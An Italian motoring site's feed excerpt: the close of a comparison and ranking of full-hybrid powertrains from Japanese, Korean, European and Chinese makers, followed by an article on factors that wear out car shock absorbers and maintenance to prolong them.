<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png" alt="8f3a63bbf6804594ac5ad42ec31c97catplv tnf8g33v4j ai watermark resize 2508 1672" class="wp-image-176242" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 10" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1536x1024.png 1536w, https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-2048x1365.png 2048w, https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/8f3a63bbf6804594ac5ad42ec31c97catplv-tnf8g33v4j-ai-watermark-resize_2508_1672-scaled.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 23</figcaption></figure>



<h3 class="wp-block-heading">Frenata rigenerativa e trasmissione: Il feeling di guida</h3>



<p class="wp-block-paragraph">La modulabilità del pedale del freno vede eccellere <strong>Nissan</strong> grazie al potente sistema rigenerativo ereditato dalle proprie BEV e alla modalità <em>e-Pedal</em> per la guida a un solo pedale. <strong>Honda</strong> si distingue per la presenza di palette al volante che regolano la rigenerazione su più livelli con transizioni impercettibili tra frenata elettrica e idraulica. </p>



<p class="wp-block-paragraph">In casa <strong>Toyota</strong>, il recupero è costante e vigoroso, anche se nelle discese più ripide richiede l&#8217;avviamento del termico in cut-off (funzione &#8220;B&#8221;) per supportare l&#8217;azione frenante, quindi il grosso del recupero per l sistema Toyota avviene mediante il pedale del freno. Il trio cinese <strong>Geely/Dongfeng/Chery</strong> offre buone performance di rallentamento, ma la selezione dei livelli è di rigenerativa è relegato nei sottomenu dell&#8217;infotainment o ai selettori di guida rendendo difficile la gestione manuale. Inoltre, risente talvolta delle scalate del cambio DHT. </p>



<p class="wp-block-paragraph"><strong>MG</strong> palesa lievi discrepanze di taratura nella transizione sul pedale del freno, mentre <strong>Hyundai/Kia</strong> consentono una buona gestione tramite palette, pur con la linearità disturbata dai passaggi di marcia del cambio a 6 rapporti. <strong>Renault</strong>, infine, offre un freno motore vigoroso in modalità &#8220;B&#8221;, ma il software del cambio a innesti frontali genera talvolta piccoli sussulti o vuoti di decelerazione durante le scalate di sincronizzazione dell&#8217;HSG.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="354" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/11-1-1024x354.jpg" alt="11 1" class="wp-image-176243" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 11" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-1024x354.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-768x265.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-1536x531.jpg 1536w, https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-2048x708.jpg 2048w, https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-300x104.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-696x241.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/11-1-scaled.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 24</figcaption></figure>



<h2 class="wp-block-heading">La vera differenza sta nella trasmissione</h2>



<p class="wp-block-paragraph">Sotto il profilo della trasmissione, il sistema <strong>e:HEV di Honda</strong> è un capolavoro di minimalismo: l&#8217;assenza di marce fisiche azzera gli attriti di trascinamento e garantisce un&#8217;efficienza meccanica prossima al 97%. Il collaudatissimo <strong>HSD di Toyota</strong> risponde con un&#8217;affidabilità leggendaria priva di organi soggetti a usura, pur mantenendo alle forti accelerazioni il tipico effetto di trascinamento acustico (effetto scooter). </p>



<p class="wp-block-paragraph"><strong>Nissan</strong> si affida a un semplice e fluido riduttore mono-marcia come ogni auto elettrica classica. <strong>Hyundai/Kia</strong> offrono il feeling più tradizionale grazie al cambio automatico reale a 6 marce, gradito agli automobilisti più conservatori ma penalizzato da maggiori attriti interni. </p>



<p class="wp-block-paragraph">Le trasmissioni DHT a 3 marce di <strong>Chery/MG</strong> e o 4 marce di <strong>Geely/Dongfeng</strong> riducono la sfasatura acustica e tengono bassi i giri motore, ma introducono una notevole complessità meccanica ed evidenti passaggi di rapporto nei transitori veloci. Elementi la cui affidabilità dovrà essere comprovata nel tempo rispetto a Toyota per esempio. In coda si colloca la trasmissione <strong>E-Tech di Renault</strong>: il cambio Multi-mode senza frizione, pur geniale sulla carta, mostra nell&#8217;uso reale evidenti limiti di fluidità, con incertezze e strattonamenti nei kick-down o a batteria scarica.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="709" height="1024" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/Dongfeng-MACH-engine-1-709x1024.webp" alt="Dongfeng MACH engine 1" class="wp-image-176244" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 12" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/Dongfeng-MACH-engine-1-709x1024.webp 709w, https://www.giornalemotori.com/wp-content/uploads/2026/07/Dongfeng-MACH-engine-1-768x1110.webp 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/Dongfeng-MACH-engine-1-300x434.webp 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/Dongfeng-MACH-engine-1-696x1006.webp 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/Dongfeng-MACH-engine-1.webp 1004w" sizes="(max-width: 709px) 100vw, 709px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 25</figcaption></figure>



<h3 class="wp-block-heading">Prestazioni ed efficienza reale: Il verdetto della pompa</h3>



<p class="wp-block-paragraph">Sul piano delle prestazioni pure, i costruttori cinesi hanno puntato sulla forza bruta: le configurazioni di <strong>Geely, Dongfeng e Chery</strong> superano agevolmente i 200 CV (fino a 240 CV per Geely), azzerando i ritardi di risposta grazie ai cambi DHT e staccando i migliori tempi sullo 0-100 km/h, pur pagando qualcosa in termini di consumi quando si spreme la meccanica.</p>



<p class="wp-block-paragraph"> <strong>MG</strong>, infatti, risponde con ben 195 CV combinati, un valore record per il suo segmento di riferimento delle compatte cittadine. <strong>Honda</strong> (da 122 a 184 CV) offre la risposta al pedale più reattiva tra le giapponesi grazie alla trazione prevalentemente elettrica, simulando passaggi di marcia virtuali in modo impeccabile.</p>



<p class="wp-block-paragraph"> I sistemi <strong>Hyundai/Kia</strong> offrono un&#8217;erogazione corposa (fino a 235 CV) e un feeling molto dinamico. In sostanza le coreane si guidano nel modo tradizionale, senza cambio di stile. <strong>Toyota</strong> predilige una progressione fluida e costante, priva di velleità sportive, nonostante la potenza sulla carta non manca, ma il comportamento del sistema ne limita la percezione prestazionale. </p>



<p class="wp-block-paragraph"><strong>Nissan</strong> assicura uno spunto da fermo eccezionale, ma accusa cali di spinta in autostrada o sulle lunghe salite quando la batteria si scarica e la potenza dipende unicamente dal generatore termico. <strong>Renault</strong>, infine, sconta la lentezza di risposta del cambio Multi-mode nei kick-down autostradali.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="500" height="375" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/hybrid-synergy-drive-11-638-e1494234281687-1.jpg" alt="hybrid synergy drive 11 638 e1494234281687 1" class="wp-image-176245" style="width:1052px;height:auto" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 13" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/hybrid-synergy-drive-11-638-e1494234281687-1.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2026/07/hybrid-synergy-drive-11-638-e1494234281687-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/hybrid-synergy-drive-11-638-e1494234281687-1-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 26</figcaption></figure>



<h2 class="wp-block-heading">I consumi e l&#8217;efficienza </h2>



<p class="wp-block-paragraph">Nel bilancio di efficienza reale, il sistema <strong>Toyota HSD</strong> si conferma il re indiscusso: in città permette di viaggiare fino all&#8217;80% del tempo a motore spento superando i 25 km/l, mantenendo consumi ridotti anche alle alte velocità autostradali. <strong>Honda</strong> segue a brevissima distanza con eccellenti riscontri urbani e costanza di rendimento, pagando solo qualcosa in autostrada a causa del rapporto fisso, ma dimostrandosi il sistema me meno risente delle differenze di stile di guida. </p>



<p class="wp-block-paragraph"><strong>Renault</strong> si difende bene grazie alla sofisticata gestione elettrica in città, ma vede salire i consumi nei tratti veloci, un risultato che dimostra come il progetto Renault sia competitivo sulla carta ma non esprime il suo potenziale, come un allievo che potrebbe fare di più ma è svogliato. </p>



<p class="wp-block-paragraph">Il sistema parallelo di <strong>Hyundai/Kia</strong> eccelle nei percorsi extraurbani grazie ai rapporti lunghi della trasmissione, ma soffre nei tipici stop-and-go cittadini, ma è anche quello che assicura ad un automobilista soncseratore di poter guidare senza cambiare il suo stile di guida. <strong>MG</strong> sfrutta al meglio la sua generosa batteria da 1,83 kWh nei contesti urbani, mostrando però il fianco alle andature autostradali a causa della minore efficienza del termico.</p>



<p class="wp-block-paragraph">Chiudono il gruppo i sistemi cinesi di <strong>Chery, Geely e Dongfeng</strong>, Le prestazioni non sono gratis, c&#8217;è sempre un prezzo da pagare al cronometro. I consumi, infatti, risentono inevitabilmente sia della logica che premia la risposta all&#8217;acceleratore che degli attriti delle trasmissioni DHT multi-rapporto. Il sistema <strong>e-Power di Nissan</strong>, la cui doppia conversione energetica ad alta velocità costante fa ottenere record assoluti in città dove la parte elettrica mostra tutto il suo potenziale, ma i consumi salgono ai livelli di un&#8217;auto termica tradizionale alle velocità più alte. </p>



<h3 class="wp-block-heading">Classifica finale e considerazioni</h3>



<p class="wp-block-paragraph">La classifica finale non tiene conto della posizione commerciale dei vari brand o del design estetico delle vetture, ma unicamente della raffinatezza ingegneristica, dell&#8217;efficienza reale e della dinamica di guida espressa dai singoli sistemi di propulsione.</p>



<p class="wp-block-paragraph">I costruttori giapponesi (Toyota e Honda) mantengono salda la leadership grazie a una superiore integrazione software e a un minimalismo meccanico orientato alla massima efficienza ed affidabilità. I colossi cinesi (Geely e Dongfeng) spingono forte sulla tecnologia motoristica pura, mentre le soluzioni europee (Renault) e coreane (Hyundai/Kia) propongono strade alternative affascinanti , ma che semplici e ottimizzate al massimo. Entrambe, comunque, non prive di compromessi in termini di fluidità o di efficienza nei contesti d&#8217;uso più gravosi.</p>



<h3 class="wp-block-heading">Classifica e comparativa dei sistemi Full Hybrid (HEV)</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pos.</th><th>Costruttore / Sistema</th><th>Architettura</th><th>Pregi principali</th><th>Difetti principali</th></tr></thead><tbody><tr><td><strong>1</strong></td><td><strong>Toyota HSD</strong> (5ª Gen)</td><td>Parallelo / Serie (Power Split)</td><td>Efficienza globale impareggiabile, affidabilità leggendaria</td><td>Effetto scooter ad alte richieste di carico</td></tr><tr><td><strong>2</strong></td><td><strong>Honda e:HEV</strong></td><td>Serie / Quasi puro (Rapporto fisso)</td><td>Trasmissione geniale, fluidità di marcia eccezionale</td><td>Consumo autostradale perfettibile</td></tr><tr><td><strong>3</strong></td><td><strong>Geely / Dongfeng</strong> (DHT)</td><td>Serie / Parallelo (Multi-marcia)</td><td>Rendimento termico d&#8217;eccellenza, risposta rapida</td><td>Elevatissima complessità costruttiva</td></tr><tr><td><strong>4</strong></td><td><strong>SAIC / MG Hybrid +</strong></td><td>Serie / Parallelo (3 marce)</td><td>Ottimo rapporto prezzo/prestazioni, batteria generosa</td><td>Calibrazione della frenata rigenerativa</td></tr><tr><td><strong>5</strong></td><td><strong>Nissan e-Power</strong></td><td>Serie puro (100% elettrico alle ruote)</td><td>Feeling di guida da BEV, frenata rigenerativa potente</td><td>Consumi elevati alle alte velocità autostradali</td></tr><tr><td><strong>6</strong></td><td><strong>Chery SHS-H</strong> (Omoda/Jaecoo)</td><td>Serie / Parallelo (3 marce)</td><td>Potenza di sistema elevata, costi competitivi</td><td>Consumi sensibili allo stile di guida</td></tr><tr><td><strong>7</strong></td><td><strong>Hyundai / Kia TMED</strong></td><td>Parallelo puro (6 marce)</td><td>Feeling di guida tradizionale, efficienza extraurbana</td><td>Consumo in ambito strettamente urbano</td></tr><tr><td><strong>8</strong></td><td><strong>Renault E-Tech</strong></td><td>Parallelo / Serie (Multi-mode)</td><td>Schema meccanico ingegnoso, ottimi consumi urbani</td><td>Fluidità di funzionamento e lentezza nei kick-down</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"></p>
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		<title>Cosa influenza la durata degli ammortizzatori dell&#8217;auto e come prolungarla</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 15:46:16 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il sistema di sospensioni di un veicolo moderno rappresenta uno dei pilastri fondamentali non solo per quanto concerne il comfort di marcia dei passeggeri, ma soprattutto per garantire i massimi livelli di sicurezza attiva durante la guida in qualsiasi condizione atmosferica e stradale.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2026/06/18/cosa-influenza-la-durata-degli-ammortizzatori-dellauto-e-come-prolungarla/">Cosa influenza la durata degli ammortizzatori dell&#8217;auto e come prolungarla</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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<p class="wp-block-paragraph">Il sistema di sospensioni di un veicolo moderno rappresenta uno dei pilastri fondamentali non solo per quanto concerne il comfort di marcia dei passeggeri, ma soprattutto per garantire i massimi livelli di sicurezza attiva durante la guida in qualsiasi condizione atmosferica e stradale.</p>



<p class="wp-block-paragraph">All&#8217;interno di questo complesso meccanismo cinematico, gli ammortizzatori svolgono il ruolo cruciale di smorzare le oscillazioni generate dalle molle a seguito delle asperità del terreno, mantenendo le ruote costantemente a contatto con la superficie dell&#8217;asfalto. Un&#8217;auto priva di un adeguato controllo dello smorzamento tenderebbe a rimbalzare in modo incontrollato dopo ogni buca, compromettendo gravemente la stabilità direzionale, l&#8217;efficacia della frenata e la precisione millimetrica degli inserimenti in curva. Nonostante la loro importanza vitale, questi componenti idraulici o a gas vengono spesso trascurati dagli automobilisti, in quanto il loro deterioramento avviene in modo estremamente progressivo e impercettibile, portando chi guida ad abituarsi gradualmente a un comportamento dinamico del mezzo che diventa giorno dopo giorno sempre più pericoloso.</p>



<p class="wp-block-paragraph">Gli studi tecnici condotti dai principali consorzi di sicurezza automobilistica a livello europeo rivelano dati statistici piuttosto allarmanti riguardo allo stato manutentivo del parco circolante, evidenziando che circa il trentadue percento dei veicoli con più di sette anni di anzianità viaggia consuetudinariamente con almeno un ammortizzatore gravemente scarico o inefficiente. Questa negligenza si traduce direttamente in un aumento esponenziale degli spazi di arresto in caso di frenata d&#8217;emergenza, con incrementi dello spazio di frenata che possono superare i 2,6 metri a una velocità di soli ottanta chilometri orari su fondo stradale asciutto, e che raddoppiano drammaticamente in presenza di asfalto bagnato o viscido. Inoltre, l&#8217;inefficienza cronica del sistema di smorzamento accelera l&#8217;usura precoce degli pneumatici di oltre il venticinque percento a causa del continuo saltellamento della ruota, alterando i corretti angoli di convergenza e campanatura e costringendo i sistemi elettronici di ausilio alla guida, come l&#8217;ABS e l&#8217;ESP, a lavorare in condizioni di perenne anomalia funzionale.</p>



<p class="wp-block-paragraph">Prendere coscienza di queste dinamiche e analizzare i fattori di stress che accorciano la vita delle sospensioni permette di pianificare gli interventi di officina prima che la situazione diventi critica, rendendo inevitabile la necessità di&nbsp;<a href="https://www.auto-doc.it/pezzi-di-ricambio/ammortizzatore-10221" target="_blank" rel="noopener">cambiare ammortizzatori auto</a>&nbsp;per ripristinare le condizioni di fabbrica. Sostituire questi elementi in coppia sullo stesso asse è un requisito tecnico tassativo per non sbilanciare l&#8217;assetto della vettura, poiché installare un componente nuovo accanto a uno parzialmente usurato creerebbe una disparità di risposta idraulica estremamente pericolosa durante i trasferimenti di carico laterali o nelle manovre di schivata improvvisa. La scelta di ricambi di qualità equivalente o superiore all&#8217;originale, abbinata a una corretta calibrazione geometrica, rappresenta l&#8217;unico investimento sensato per salvaguardare il valore commerciale del veicolo e, cosa ben più importante, per proteggere la vita di chi si trova a bordo durante i lunghi trasferimenti autostradali o nei tragitti urbani quotidiani.</p>



<h2 class="wp-block-heading"><strong>I fattori meccanici e ambientali che determinano il ciclo vitale dei componenti idraulici</strong></h2>



<p class="wp-block-paragraph">La longevità strutturale di un ammortizzatore non può essere definita da una scadenza temporale fissa o da un chilometraggio universale, poiché essa dipende in larga misura da una fitta rete di variabili collegate sia all&#8217;architettura costruttiva del mezzo sia al contesto geografico in cui si muove. All&#8217;interno del cilindro sigillato dell&#8217;ammortizzatore si muove un pistone che spinge l&#8217;olio attraverso minuscoli fori calibrati, trasformando l&#8217;energia cinetica delle oscillazioni in energia termica che deve essere successivamente dissipata verso l&#8217;esterno. Questo ciclo continuo di compressione ed estensione sottopone il fluido idraulico e le valvole interne a pressioni elevatissime, che determinano un surriscaldamento locale in grado di alterare nel tempo la viscosità originaria dell&#8217;olio, diminuendo la capacità smorzante. Nelle regioni caratterizzate da climi invernali rigidi, l&#8217;azione corrosiva del sale sparso sulle strade per prevenire il ghiaccio aggredisce chimicamente lo stelo cromato dell&#8217;ammortizzatore e le guarnizioni di tenuta in gomma, accelerando la comparsa di micro-fessurazioni che causano l&#8217;inevitabile trafilamento del gas o del liquido interno.</p>



<p class="wp-block-paragraph">Oltre alle condizioni atmosferiche estreme, la presenza sistematica di detriti stradali, polvere sottile, fango e umidità stagnante crea una miscela abrasiva micidiale che si deposita sullo stelo dell&#8217;ammortizzatore, agendo come una vera e propria carta vetrata ogni volta che la sospensione compie la sua corsa utile. Se i soffietti di protezione in plastica o i tamponi di fine corsa si rompono a causa dell&#8217;invecchiamento dei materiali, lo stelo rimane totalmente esposto a questa contaminazione, compromettendo la tenuta del paraolio principale in pochissimi chilometri di utilizzo. Nei contesti urbani moderni, caratterizzati da una manutenzione stradale spesso carente, l&#8217;impatto ripetuto a velocità non adeguata contro tombini sporgenti, pavimentazioni in pavé sconnesse e dossi artificiali rallentatori fuori norma genera picchi di pressione idraulica istantanei talmente violenti da poter piegare lo stelo metallico o danneggiare irreparabilmente i pacchi lamellari delle valvole interne.</p>



<p class="wp-block-paragraph">●&nbsp;La guida costante su strade sterrate o caratterizzate da un manto asfalto fortemente degradato raddoppia il numero di oscillazioni al minuto del pistone, accelerando il decadimento termico del fluido idraulico interno.</p>



<p class="wp-block-paragraph">●&nbsp;L&#8217;esposizione prolungata a tassi di umidità salina tipici delle zone costiere innesca processi di ossidazione localizzata sul corpo esterno dell&#8217;ammortizzatore, indebolendo i punti di saldatura dei supporti di montaggio.</p>



<p class="wp-block-paragraph">●&nbsp;L&#8217;accumulo di fango secco attorno alla base della cartuccia impedisce il corretto scambio termico con l&#8217;aria esterna, provocando il surriscaldamento dell&#8217;olio e la perdita temporanea del potere frenante della sospensione.</p>



<p class="wp-block-paragraph">●&nbsp;Il danneggiamento precoce dei silent block, ovvero i boccole in gomma che collegano l&#8217;ammortizzatore al telaio, introduce giochi meccanici anomali che modificano la direzione delle forze di carico assiali.</p>



<h2 class="wp-block-heading"><strong>Comportamenti alla guida e abitudini di carico che stressano la struttura delle sospensioni</strong></h2>



<p class="wp-block-paragraph">Il modo in який un automobilista interagisce con i comandi della propria vettura e gestisce gli spazi interni influisce in modo diretto e tangibile sulla velocità di usura di tutto il comparto sospensioni, inclusi i bracci oscillanti e i cuscinetti dei mozzi ruota. Una guida caratterizzata da accelerazioni repentine e frenate violente all&#8217;ultimo secondo provoca continui ed esasperati trasferimenti di carico longitudinali, costringendo gli ammortizzatori anteriori a comprimersi fino al limite strutturale in fase di decelerazione e quelli posteriori a estendersi violentemente in fase di ripresa. Questo stress asimmetrico continuo logora i componenti in modo disomogeneo, compromettendo l&#8217;equilibrio dinamico del telaio e riducendo l&#8217;efficacia dei sistemi di controllo elettronico della stabilità che faticano a calcolare le reali forze di aderenza disponibili sulle singole ruote.</p>



<p class="wp-block-paragraph">Un capitolo a parte merita la gestione del peso totale del veicolo, un fattore che molti conducenti tendono a sottovalutare lasciando all&#8217;interno del bagagliaio oggetti pesanti, attrezzature da lavoro o accessori inutilizzati per intere settimane. Viaggiare costantemente in prossimità della massa massima ammissibile, o peggio ancora superare tali limiti in occasione di traslochi o viaggi estivi, costringe le molle a rimanere permanentemente schiacciate e riduce la corsa utile residua dell&#8217;ammortizzatore. In questa condizione geometrica alterata, l&#8217;ammortizzatore si trova a lavorare stabilmente nella sua zona terminale, dove le valvole sono sottoposte a sforzi meccanici superiori rispetto a quelli calcolati in fase di progettazione, con il rischio concreto di raggiungere frequentemente il fondo corsa meccanico, un evento che distrugge istantaneamente le tenute interne e deforma i piattelli di supporto fissati alla scocca.</p>



<p class="wp-block-paragraph">1.&nbsp;Affrontare i dossi artificiali di rallentamento o i cordoli autostradali mantenendo il pedale del freno premuto blocca parzialmente la geometria della sospensione, scaricando l&#8217;energia dell&#8217;impatto direttamente sulle valvole interne dell&#8217;ammortizzatore.</p>



<p class="wp-block-paragraph">2.&nbsp;Parcheggiare sistematicamente la vettura lasciando due ruote sollevate sopra un marciapiede alto genera una sollecitazione torsionale statica permanente che deforma i componenti elastici e i silent block della sospensione.</p>



<p class="wp-block-paragraph">3.&nbsp;Affrontare le curve ad alta velocità con un carico posizionato esclusivamente su un lato del veicolo satura la capacità di smorzamento dell&#8217;ammortizzatore esterno, innescando fenomeni di surriscaldamento localizzato.</p>



<p class="wp-block-paragraph">4.&nbsp;L&#8217;utilizzo di cerchi in lega di diametro maggiorato abbinati a pneumatici con spalla estremamente ribassata riduce la capacità di assorbimento iniziale della gomma, trasferendo l&#8217;interezza delle micro-sollecitazioni ad alta frequenza direttamente alla cartuccia idraulica.</p>



<h2 class="wp-block-heading"><strong>I sintomi premonitori che indicano la necessità di una sostituzione immediata</strong></h2>



<p class="wp-block-paragraph">Saper interpretare i messaggi che l&#8217;automobile invia attraverso il proprio comportamento dinamico è una competenza fondamentale per prevenire situazioni di grave pericolo stradale e per intervenire prima che il danno si estenda ad altri organi meccanici. Uno dei primi segnali macroscopici di un sistema di smorzamento ormai giunto alla fine del suo ciclo operativo è il cosiddetto effetto barca, ovvero la tendenza della vettura a manifestare un rollio laterale vistoso e prolungato durante i cambi di direzione e un beccheggio accentuato in fase di accelerazione o frenata. Se, affrontando una sequenza di curve a velocità moderata, si avverte la sensazione che il corpo vettura continui a oscillare anche dopo che lo sterzo è stato riallineato in posizione rettilinea, significa che i fluidi interni non sono più in grado di frenare i movimenti naturali delle molle elicoidali.</p>



<p class="wp-block-paragraph">Un&#8217;altra anomalia visiva di immediata riscontrabilità riguarda il comportamento degli pneumatici, i quali iniziano a mostrare un&#8217;usura del battistrada del tutto irregolare, caratterizzata da macchie o aree saltuarie prive di gomma alternate a zone perfettamente integre, una condizione definita in gergo tecnico usura a scalino o a dente di sega. Questo fenomeno è causato dal fatto che la ruota, non essendo più tenuta premuta saldamente contro l&#8217;asfalto dall&#8217;azione dell&#8217;ammortizzatore, compie migliaia di microscopici rimbalzi ogni chilometro, perdendo contatto con la strada e riprendendolo subito dopo con un violento effetto di trascinamento abrasivo. Inoltre, la comparsa di macchie d&#8217;olio fresche o di depositi di sporco unto lungo il corpo cilindrico dell&#8217;ammortizzatore rappresenta la prova visiva inconfutabile del cedimento strutturale delle guarnizioni di tenuta paraolio, una condizione che rende il componente totalmente inefficiente nel giro di poche ore di funzionamento.</p>



<p class="wp-block-paragraph">Prestando attenzione all&#8217;acustica dell&#8217;abitacolo, è possibile avvertire rumori sordi, battiti metallici o scricchiolii fastidiosi provenienti dai passaruota ogni volta che si percorre una strada leggermente sconnessa o si affronta una rampa di accesso a un parcheggio. Questi rumori sono spesso causati dalla totale distruzione dei supporti superiori dell&#8217;ammortizzatore, noti anche come supporti strutturali o cuscinetti mcpherson, i quali contengono elementi in gomma e sfere metalliche progettati per consentire la rotazione della sospensione insieme allo sterzo. Quando questi cuscinetti si bloccano o prendono gioco a causa dell&#8217;usura, l&#8217;ammortizzatore non lavora più secondo l&#8217;asse geometrico corretto, trasmettendo vibrazioni parassite direttamente alla scocca portante dell&#8217;auto e alterando la precisione millimetrica della risposta dello sterzo, che diventa vago, impreciso e soggetto a fastidiosi fenomeni di acquaplaning anche a velocità ridotte.</p>



<h2 class="wp-block-heading"><strong>Strategie manutentive e controlli periodici per massimizzare l&#8217;efficienza delle sospensioni</strong></h2>



<p class="wp-block-paragraph">Per prolungare in modo significativo la vita utile degli ammortizzatori e mantenere inalterati gli standard di sicurezza originari della vettura, è necessario adottare un approccio ispettivo rigoroso e programmatico, che non si limiti alla semplice sostituzione dei pezzi quando questi si rompono definitivamente. I tecnici specializzati consigliano di effettuare un controllo visivo approfondito del comparto sospensioni ogni ventimila chilometri di percorrenza, preferibilmente in concomitanza con il cambio stagionale degli pneumatici o durante le operazioni di manutenzione ordinaria sul ponte elevatore. Durante queste ispezioni, è fondamentale verificare l&#8217;integrità assoluta dei componenti accessori, come i soffietti parapolvere in gomma e i tamponi di fine corsa in poliuretano, la cui sostituzione tempestiva dal costo irrisorio può evitare la distruzione precoce della ben più costosa cartuccia idraulica principale.</p>



<p class="wp-block-paragraph">Un ruolo determinante nella preservazione degli ammortizzatori è svolto dalla corretta manutenzione dell&#8217;intero sistema di sterzo e della geometria delle ruote, poiché un disallineamento anche minimo dei valori di convergenza costringe la sospensione a lavorare in una posizione costantemente flessa, generando forze laterali anomale che usurano precocemente le guide interne del pistone e lo stelo. Mantenere la pressione di gonfiaggio degli pneumatici rigorosamente entro i valori raccomandati dal costruttore consente alla spalla della gomma di assorbire la prima quota di micro-sollecitazioni ad alta frequenza derivanti dalle rugosità dell&#8217;asfalto, alleggerendo il carico di lavoro continuo che grava sulle valvole interne dell&#8217;ammortizzatore. Inoltre, durante le sessioni di lavaggio della vettura, specialmente al termine della stagione invernale, è un&#8217;ottima abitudine utilizzare un getto d&#8217;acqua ad alta pressione all&#8217;interno dei passaruota per rimuovere gli accumuli di sale, fango e detriti abrasivi che si depositano attorno alle tenute, preservando la finitura specchiata dello stelo da possibili graffiature.</p>



<p class="wp-block-paragraph">Non bisogna dimenticare che la durata complessiva del sistema di smorzamento è strettamente legata alla salute delle molle elicoidali con cui lavora in simbiosi simbiotica all&#8217;interno del montante della sospensione. Con il passare degli anni e dei chilometri, le molle tendono a cedere strutturalmente a causa della fatica del metallo, perdendo parte della loro altezza originaria e diminuendo la capacità di sostenere il peso statico del veicolo. Una molla snervata costringe l&#8217;ammortizzatore a lavorare con una corsa utile ridotta e in una posizione geometrica di pre-compressione che ne accelera il degrado termico e strutturale. Pertanto, la valutazione dello stato di salute delle sospensioni deve sempre includere la misurazione dell&#8217;altezza da terra del corpo vettura nei quattro punti cardinali, per escludere cedimenti elastici che vanificherebbero l&#8217;efficacia di qualsiasi ammortizzatore nuovo appena installato.</p>



<h2 class="wp-block-heading"><strong>L&#8217;impatto dei componenti usurati sulla sicurezza di marcia e sugli altri organi meccanici</strong></h2>



<p class="wp-block-paragraph">Posticipare sistematicamente la sostituzione degli ammortizzatori scarichi non rappresenta soltanto un grave azzardo per la sicurezza stradale, ma innesca un effetto domino distruttivo che danneggia precocemente una moltitudine di altri componenti meccanici ed elettronici del veicolo, incrementando a dismisura i costi finali dei futuri interventi di ripristino. Il continuo saltellamento della ruota non frenata genera sollecitazioni vibrazionali ad alta intensità che si propagano lungo i bracci oscillanti, accelerando lo snervamento dei silent block, il deterioramento dei giunti sferici dello sterzo e la comparsa di giochi millimetrici nei cuscinetti dei mozzi, che iniziano a manifestare rumorosità e surriscaldamenti anomali. Inoltre, le vibrazioni non smorzate si trasmettono attraverso i semiassi direttamente alla scatola del cambio e ai supporti del motore, riducendo l&#8217;efficacia isolante delle parti in gomma e provocando fastidiosi tremolii all&#8217;interno della plancia e del volante.</p>



